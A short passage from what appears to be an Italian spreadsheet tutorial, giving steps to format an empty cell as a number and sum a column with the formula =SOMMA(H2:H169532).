-) Una volta effettuata la conversione, selezioniamo una casella libera e formattiamola come numero (click tasto Dx ====> Formato Celle ====> Numero)

-) Impostiamo la formula classica per la somma:

=SOMMA(H2:H169532)